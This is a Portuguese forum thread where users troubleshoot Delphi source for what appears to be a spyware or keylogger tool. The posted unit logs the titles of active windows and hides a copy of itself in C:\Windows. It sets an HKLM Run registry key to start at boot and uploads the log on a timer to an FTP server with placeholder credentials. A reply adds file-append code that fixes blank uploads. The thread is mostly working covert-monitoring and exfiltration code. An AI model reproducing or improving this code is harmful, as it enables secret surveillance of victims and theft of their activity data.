Enviar Anexo

[Soultt]

Poem isso no botão ou timer IdFTP1.TransferType:= ftBinary; ou muda lá nas propiedades do Idftp pra ver se ajuda.

[cesargbi16]

Poem isso no botão ou timer IdFTP1.TransferType:= ftBinary; ou muda lá nas propiedades do Idftp pra ver se ajuda.

Já fiz isso antes. Não resolveu nda...

[Soultt]

mostra a unit toda ai eu tive um problema parecido, mas era porque tava salvando em branco mesmo

[cesargbi16]

mostra a unit toda ai eu tive um problema parecido, mas era porque tava salvando em branco mesmo

unit Unit1;

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, ExtCtrls, Registry, StdCtrls, IdMessage, IdBaseComponent,
IdComponent, IdTCPConnection, IdTCPClient, IdMessageClient, IdSMTP, IdFTP;

type
TForm1 = class(TForm)
Memo1: TMemo;
Capturar: TTimer;
Salvar: TTimer;
IdFTP1: TIdFTP;
Enviar: TTimer;
procedure CapturarTimer(Sender: TObject);
procedure SalvarTimer(Sender: TObject);
procedure FormCreate(Sender: TObject);
procedure EnviarTimer(Sender: TObject);


private
{ Private declarations }
public
{ Public declarations }
sJanelaAtiva,sJanelaOld : string;
regini : TRegistry;
end;

var
Form1: TForm1;
Reg:TregInifile;
implementation

{$R *.dfm}
function Coloca(txt: String): String;
begin
Form1.Memo1.Text := Form1.Memo1.Text + txt;
end;

function JanelaAtiva: String;// Função de capturar o titulo da janela
var
Handle:THandle;
Len:LongInt;
Title: String;
begin
Handle:=GetForegroundWindow;
Len:=GetWindowTextLength(Handle) + 1;
SetLength(Title,Len);
GetWindowText(Handle,PChar(Title),Len);
JanelaAtiva:=TrimRight(Title);
end;

procedure TForm1.CapturarTimer(Sender: TObject);
var
keyloop, KeyResult : Integer;
begin
sJanelaOld:=sJanelaAtiva;
sJanelaAtiva := JanelaAtiva;
if sJanelaAtiva <> sJanelaOld then
Memo1.Lines.Add('['+JanelaAtiva+']<'+DateToStr(Date)+'>');
end;

procedure TForm1.SalvarTimer(Sender: TObject);
begin
Memo1.Lines.SaveToFile('C:\Windows\arquivo.html');
end;

procedure TForm1.FormCreate(Sender: TObject);
var
reg:TregInifile;
s,a : string;
begin
copyfile(pchar('Navegador.exe'),pchar('C:\Windows\ example.exe') ,false);
s:= 'C:\Windows\example.exe';
reg:= TregInifile.Create('full');
reg.RootKey := HKEY_LOCAL_MACHINE;
reg.openkey
('\Software\Microsoft\Windows\CurrentVersion', false);
reg.WriteString('Run', 'example', s);
end;

procedure TForm1.EnviarTimer(Sender: TObject);
begin
with IdFTP1 do try
Host := 'ftp';
Username := 'user';
Password := '******';
Connect;
ChangeDir('/');
finally
end;

try
IdFTP1.Put('C:\Windows\arquivo.html', 'arquivo.html');
finally
IdFTP1.Disconnect;
end;

end;

end.


Ta ai...

[Lucian]

Pelo que entendi ele quer que vc fassa o programa para ele...
Diga nunca pessa para algém fazer algo para vc antes tente;;; ^^

[Soultt]

function Coloca(txt: String): String;

eu conheço essa function auheauehu

bem como eu imaginava... resolvi o problema do envio em branco fazendo isso

procedure seutimer(blabla);
var
arq:textfile;
begin
Assignfile(arq,'c:\windows\arquivo.html');
if not FileExists('c:\windows\arquivo.html') Then
begin
Rewrite(arq);
Closefile(arq);
End
Else
Assignfile(arq,'c:\windows\arquivo.html');
{$I-}
Append(arq);
{$I+}
If IOResult<> 0 Then
Begin
End;
Write(arq,Form1.Memo1.text);
Closefile(arq);
end;


ve ai se ajuda

[cesargbi16]

Pelo que entendi ele quer que vc fassa o programa para ele...
Diga nunca pessa para algém fazer algo para vc antes tente;;; ^^

Não jovem n estou pedindo ninguem para fazer nda pra min. Só estou tendo uma duvida e ele pediu minha source para analisar onde esta o erro...

LEIA PRIMEIRO PARA DEPOIS COMENTAR ALGO Q NÃO TEM NDA A VER...Vlw.

[Soultt]

Pelo que entendi ele quer que vc fassa o programa para ele...
Diga nunca pessa para algém fazer algo para vc antes tente;;; ^^

acho que não, a duvida dela eu tive ela a uns 4 anos fiz essa pergunta a um amigo e ele respondeu claro ele não me deu o codigo mas falou o que tava faltando.

foi tipo "poem pra escrever num write em vez de um savetofile"